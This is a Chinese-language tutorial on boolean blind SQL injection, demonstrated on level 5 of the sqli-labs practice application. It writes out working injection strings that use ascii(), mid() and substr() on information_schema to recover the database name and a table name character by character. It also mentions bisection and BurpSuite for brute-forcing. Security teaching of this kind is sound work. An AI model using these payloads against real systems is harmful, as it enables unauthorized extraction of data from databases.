目录
1.什么是布尔盲注?
2.如何进行布尔盲注?
案列演示:
1.什么是布尔盲注?
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
我们这里拿sql-libs的第五关来做演示,这是第五关的源代码:
源码的意思大概是从id这个参数那里接收值,当这个值为true是输出You are in。。。。。
false时什么都不输出。那我们是不是就可以利用这点结合上一篇文章讲解过的一些函数来进行猜解数据库呢?
返回False时:
返回True时:
2.如何进行布尔盲注?
注入流程:
案列演示:
首先我们先来猜解一下数据库的名称:
id=1' and ascii(mid(database(),1,1))>115--+
id=1 ' and ascii(mid(database(),1,1))>116--+
id=1' and ascii(mid(database(),1,1))=115--+
这里回显正常说明当前数据库的库名的第一个字符的十进制编码为115,结合ascii表我们便可判断出为字符s。
接下来我们判断当前数据库库名的第二个字符。
id=1' and ascii(mid(database(),2,1))=101--+
回显正常。
说明当前数据库库名的第二个字符为e。
接下来我们判断当前数据库库名的第三个字符。
d=1' and ascii(mid(database(),3,1))=99--+
会显正常。
说明当前数据库库名的第三个字符为c。
依次类推出数据库的名字为“security”
实际过程中我们可以通过这样的一个方法去猜解数据库的库名。为了加快速度,我们可以使用二分法等等方法。
讲到这里大伙也就该明白了布尔盲注是这么一个意思了。
猜解表名
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+
回显正确。
说明当前数据库的第一个表的表名的第一个字符为r。
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+
回显正常
说明当前数据库的第一个表的表名第二个字符为e。
依次类推出数据库的第一个表名的名字为“referer ” 。
实际过程中,我们可以通过这种方法结合BurpSuite工具来爆破一些数据库的名字。